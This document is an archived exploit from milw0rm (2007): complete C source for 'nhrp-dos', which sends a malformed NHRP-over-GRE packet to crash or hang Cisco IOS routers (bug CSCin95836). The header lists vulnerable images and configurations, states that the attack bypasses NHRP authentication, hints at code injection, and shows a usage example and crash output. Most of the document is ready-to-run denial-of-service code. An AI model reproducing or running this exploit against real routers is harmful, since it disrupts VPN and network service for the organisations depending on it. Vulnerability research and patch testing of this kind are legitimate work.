Cisco DMVPN/NBMA – Security

[codesyntax lang="c"]
/******************************************************************************/
/* */
/* nhrp-dos - Copyright by Martin Kluge, <mk@elxsi.de> */
/* */
/* Feel free to modify this code as you like, as long as you include the */
/* above copyright statement. */
/* */
/* Please use this code only to check your OWN cisco routers. */
/* */
/* Cisco bug ID: CSCin95836 */
/* */
/* The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used */
/* by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA) */
/* subnetwork to determine the internetworking layer address and NBMA */
/* subnetwork addresses of the NBMA next hop towards the destination. */
/* NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with */
/* IPSEC. */
/* */
/* URLs: */
/* - [RFC2332/NHRP] http://rfc.net/rfc2332.html */
/* - [RFC1701/GRE] http://rfc.net/rfc1701.html */
/* - [DMVPNs with Cisco] http://www.cisco.com/en/US/tech/tk583/tk372/techno */
/* logies_white_paper09186a008018983e.shtml */
/* */
/* This code was only tested on FreeBSD and Linux, no warranty is or will be */
/* provided. */
/* */
/* Vulnerable images (tested): */
/* */
/* - c7100-jk9o3s-mz.123-12e.bin */
/* - c7200-jk8o3s-mz.122-40.bin */
/* - c3640-js-mz.122-15.T17.bin */
/* (and many other IOS versions on different platforms) */
/* */
/* Vulnerable configuration on cisco IOS: */
/* */
/* interface Tunnel0 */
/* ip address 10.0.0.1 255.255.255.128 */
/* no ip redirects */
/* no ip proxy-arp */
/* ip mtu 1464 */
/* ip nhrp authentication mysecret */
/* ip nhrp network-id 1000 */
/* ip nhrp map multicast dynamic */
/* ip nhrp server-only */
/* ip nhrp holdtime 30 */
/* tunnel source FastEthernet0/0 */
/* tunnel mode gre multipoint */
/* tunnel key 123456789 */
/* */
/* This exploit works even if "ip nhrp authentication" is configured on the */
/* cisco router. You can also specify a GRE key (use 0 to disable this */
/* feature) if the GRE tunnel is protected. You don't need to know the */
/* NHRP network id (or any other configuration details, except the GRE key if */
/* it is set on the target router). */
/* */
/* NOTE: The exploit only seems to work, if a NHRP session between the target */
/* router and at least one client is established. */
/* */
/* Code injection is also possible (thanks to sky for pointing this out), but */
/* it is not very easy and depends heavily on the IOS version / platform. */
/* */
/* Example: */
/* root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789 */
/* */
/* Router console output: */
/* */
/* -Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8 */
/* $0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000 */
/* <snip> */
/* EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03 */
/* Cause 00000024 (Code 0x9): Breakpoint exception */
/* */
/* Writing crashinfo to bootflash:crashinfo_20070321-155011 */
/* === Flushing messages (16:50:12 CET Wed Mar 21 2007) === */
/* */
/* Router reboots or sometimes hangs ;) */
/* */
/* */
/* Workaround: Disable NHRP ;) */
/* */
/* I'd like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help */
/* regarding this issue. */
/* */
/* Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, */
/* xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra */
/* and #infiniteVOID */
/* */
/******************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>

/* BSD */
#define _BSD

/* Header sizes */
#define IP_HDR_SIZE 20
#define GRE_HDR_SIZE 4
#define GRE_KEY_SIZE 4
#define NHRP_HDR_SIZE 62

/* Function prototypes */
int open_socket (void);
int close_socket (int);
int send_dos(int, unsigned long, unsigned long, unsigned long);
unsigned long resolve_ip (char *);
unsigned long get_int_ipv4 (char *);

/* Globals */
int sockfd;
int nhrp_req_id;

/* GRE header */
struct gre_h {
unsigned short flags; /* GRE flags */
unsigned short ptype; /* GRE protocol type */
unsigned int key; /* GRE key */
};

/* NHRP header */
struct nhrp_h {
/* NHRP fixed header (20 bytes) */
struct {
unsigned short afn; /* NHRP AFN */
unsigned short proto; /* NHRP protocol type */
unsigned int snap; /* NHRP SNAP */
unsigned short snapE:8; /* NHRP SNAP */
unsigned short hops:8; /* NHRP hop count */
unsigned short length; /* NHRP total length */
unsigned short checksum; /* NHRP checksum */
unsigned short mpoa_ext; /* NHRP MPOA extensions */
unsigned short version:8; /* NHRP version */
unsigned short type:8; /* NHRP type */
unsigned short nbma_addr:8; /* NHRP t/l of NBMA address */
unsigned short nbma_sub:8; /* NHRP t/l of NBMA subaddr */
} fixed;

/* NHRP mandatory part */
struct {
unsigned short src_len:8; /* NHRP src protocol length */
unsigned short dst_len:8; /* NHRP dest protocol length */
unsigned short flags; /* NHRP flags */
unsigned int request_id; /* NHRP request ID */
unsigned long client_nbma; /* NHRP client NBMA address */
unsigned long client_nbma_sub; /* NHRP client NBMA subaddr */
unsigned long client_pro_addr; /* NHRP client protocol addr */
} mand;

/* NHRP client information entries (CIE) */
union {
struct {
unsigned short code:8; /* NHRP code */
unsigned short pref_len:8; /* NHRP prefix length */
unsigned short reserved; /* NHRP reserved */
unsigned short mtu; /* NHRP MTU */
unsigned short holding_time; /* NHRP holding time */
unsigned short len_client:8; /* NHRP t/l cl addr */
unsigned short len_client_sub:8;/* NHRP t/l cl sub */
unsigned short len_client_pro:8;/* NHRP t/l cl pro */
unsigned short preference:8; /* NHRP preference */
unsigned short ext; /* NHRP extension */
} cie;
};
};

/* Main function */
int main (int argc, char **argv) {
/* Check command line */
if(argc != 4) {
fprintf(stderr, "\nnhrp-dos (c) by Martin Kluge <mk@elxsi.de>, 2007\n");
fprintf(stderr, "------------------------------------------------\n");
fprintf(stderr, "Usage: ./nhrp-dos <device> <target> <GRE key>\n");
fprintf(stderr, "(Set GRE key = 0 to disable GRE keys!)\n\n");
exit(EXIT_FAILURE);
}

/* Check UID */
if(getuid() != 0 && geteuid() != 0) {
fprintf(stderr, "Error: Please run as root!\n");
exit(EXIT_FAILURE);
}

/* Open a socket */
sockfd = open_socket();

/* Send DoS packet */
send_dos(sockfd, get_int_ipv4(argv[1]), resolve_ip(argv[2]), atoi(argv[3]));

/* Close the socket */
close_socket(sockfd);

exit(EXIT_SUCCESS);
}

/* Open the socket */
int open_socket (void)
{
int fd;
int one = 1;
void *ptr = &one;

/* Open the socket */
fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if(fd < 0) {
fprintf(stderr, "Error: open_socket: Unable to open socket.\n");
exit(EXIT_FAILURE);
}

/* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */
/* Otherwise it would be done by the kernel. */
if(setsockopt(fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(one)) < 0) {
fprintf(stderr, "Error: open_socket: setsockopt failed.\n");
exit(EXIT_FAILURE);
}

#ifndef _BSD
if(setsockopt(fd, IPPROTO_IP, SO_BROADCAST, ptr, sizeof(one)) < 0) {
fprintf(stderr,"Error: open_socket: setsockopt failed.\n");
exit(EXIT_FAILURE);
}
#endif

return(fd);
}

/* Close the socket */
int close_socket (int fd)
{
return(close(fd));
}

/* Resolve the hostname to IP address */
unsigned long resolve_ip (char *host)
{
struct in_addr addr;
struct hostent *host_ent;

if((addr.s_addr = inet_addr(host)) == -1) {
if(!(host_ent = gethostbyname(host)))
return(-1);

memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
}

return(addr.s_addr);
}

/* Get IPv4 address of DEVICE */
unsigned long get_int_ipv4 (char *device)
{
int tmp_fd;
struct ifreq ifr;
struct sockaddr_in *sin;

tmp_fd = socket(PF_INET, SOCK_DGRAM, 0);

if(tmp_fd < 0) {
fprintf(stderr, "Error: get_int_ipv4: socket failed.\n");
exit(EXIT_FAILURE);
}

memset(&ifr, 0, sizeof(ifr));
sin = (struct sockaddr_in *) &ifr.ifr_addr;
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));

ifr.ifr_addr.sa_family = AF_INET;

if(ioctl(tmp_fd, SIOCGIFADDR, (char *) &ifr) < 0) {
fprintf(stderr, "Error: get_int_ipv4: ioctl failed.\n");
exit(EXIT_FAILURE);
}

close(tmp_fd);
return(sin->sin_addr.s_addr);
}

/* Send NHRP packet */
int send_dos (int fd, unsigned long src_ip, unsigned long dst_ip,
unsigned long gre_key)
{
struct ip ip_hdr;
struct ip *iphdr;
struct gre_h gre_hdr;
struct nhrp_h nhrp_hdr;
struct sockaddr_in sin;
unsigned int bytes = 0;
int GRE_SIZE = GRE_HDR_SIZE;

/* Packet buffer */
unsigned char *buf;

if(gre_key!=0)
GRE_SIZE+=GRE_KEY_SIZE;

/* Allocate some memory */
buf = malloc(IP_HDR_SIZE+GRE_SIZE+NHRP_HDR_SIZE);

if(buf < 0) {
fprintf(stderr, "Error: send_dos: malloc failed.\n");
exit(EXIT_FAILURE);
}

/* Increment NHRP request ID */
nhrp_req_id++;

/* IPv4 Header */
ip_hdr.ip_v = 4; /* IP version */
ip_hdr.ip_hl = 5; /* IP header length */
ip_hdr.ip_tos = 0x00; /* IP ToS */
ip_hdr.ip_len = htons(IP_HDR_SIZE +
GRE_SIZE +
NHRP_HDR_SIZE
); /* IP total length */
ip_hdr.ip_id = 0; /* IP identification */
ip_hdr.ip_off = 0; /* IP frag offset */
ip_hdr.ip_ttl = 64; /* IP time to live */
ip_hdr.ip_p = IPPROTO_GRE; /* IP protocol */
ip_hdr.ip_sum = 0; /* IP checksum */
ip_hdr.ip_src.s_addr = src_ip; /* IP source */
ip_hdr.ip_dst.s_addr = dst_ip; /* IP destination */

/* GRE header */
if(gre_key != 0) {
gre_hdr.flags = htons(0x2000); /* GRE flags */
gre_hdr.key = htonl(gre_key); /* GRE key */
} else {
gre_hdr.flags = 0;
}

gre_hdr.ptype = htons(0x2001); /* GRE type (NHRP) */

/* NHRP fixed header */
nhrp_hdr.fixed.afn = htons(0x0001); /* NHRP AFN */
nhrp_hdr.fixed.proto = htons(0x0800); /* NHRP protocol type */
nhrp_hdr.fixed.snap = 0; /* NHRP SNAP */
nhrp_hdr.fixed.snapE = 0; /* NHRP SNAP */
nhrp_hdr.fixed.hops = 0xFF; /* NHRP hop count */

/* DoS -> Set length to 0xFFFF */
nhrp_hdr.fixed.length = htons(0xFFFF); /* NHRP length */

/* Checksum can be incorrect */
nhrp_hdr.fixed.checksum = 0; /* NHRP checksum */

nhrp_hdr.fixed.mpoa_ext = htons(0x0034); /* NHRP MPOA ext */
nhrp_hdr.fixed.version = 1; /* NHRP version */
nhrp_hdr.fixed.type = 3; /* NHRP type */
nhrp_hdr.fixed.nbma_addr= 4; /* NHRP NBMA t/l addr */
nhrp_hdr.fixed.nbma_sub = 0; /* NHRP NBMA t/l sub */

/* NHRP mandatory part */
nhrp_hdr.mand.src_len = 4; /* NHRP src proto len */
nhrp_hdr.mand.dst_len = 4; /* NHRP dst proto len */
nhrp_hdr.mand.flags = htons(0x8000); /* NHRP flags */
nhrp_hdr.mand.request_id = htonl(nhrp_req_id); /* NHRP request ID */
nhrp_hdr.mand.client_nbma = src_ip; /* NHRP client addr */
nhrp_hdr.mand.client_nbma_sub = 0; /* NHRP client sub */
nhrp_hdr.mand.client_pro_addr = 0; /* NHRP client proto */

/* NHRP client information entries (CIE) */
nhrp_hdr.cie.code = 0; /* NHRP code */
nhrp_hdr.cie.pref_len = 0xFF; /* NHRP prefix len */
nhrp_hdr.cie.reserved = 0x0000; /* NHRP reserved */
nhrp_hdr.cie.mtu = htons(1514); /* NHRP mtu */
nhrp_hdr.cie.holding_time = htons(30); /* NHRP holding time */
nhrp_hdr.cie.len_client = 0; /* NHRP t/l client */
nhrp_hdr.cie.len_client_sub = 0; /* NHRP t/l sub */
nhrp_hdr.cie.len_client_pro = 0; /* NHRP t/l pro */
nhrp_hdr.cie.preference = 0; /* NHRP preference */
nhrp_hdr.cie.ext = htons(0x8003); /* NHRP C/U/Type (ext)*/

/* Copy the IPv4 header to the buffer */
memcpy(buf, (unsigned char *) &ip_hdr, sizeof(ip_hdr));

/* Copy the GRE header to the buffer */
memcpy(buf + IP_HDR_SIZE, (unsigned char *) &gre_hdr, sizeof(gre_hdr));

/* Copy the NHRP header to the buffer */
memcpy(buf + IP_HDR_SIZE + GRE_SIZE, (unsigned char *) &nhrp_hdr,
sizeof(nhrp_hdr));

/* Fix some BSD bugs */
#ifdef _BSD
iphdr = (struct ip *) buf;
iphdr->ip_len = ntohs(iphdr->ip_len);
iphdr->ip_off = ntohs(iphdr->ip_off);
#endif

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr->ip_dst.s_addr;

printf("\nnhrp-dos (c) by Martin Kluge <mk@elxsi.de>, 2007\n");
printf("------------------------------------------------\n");
printf("Sending DoS packet...");

/* Send the packet */
bytes = sendto(fd, buf, IP_HDR_SIZE + GRE_SIZE + NHRP_HDR_SIZE, 0,
(struct sockaddr *) &sin, sizeof(struct sockaddr));

printf("DONE (%d bytes)\n\n", bytes);

/* Free the buffer */
free(buf);

/* Return number of bytes */
return(bytes);
}

// milw0rm.com [2007-08-09]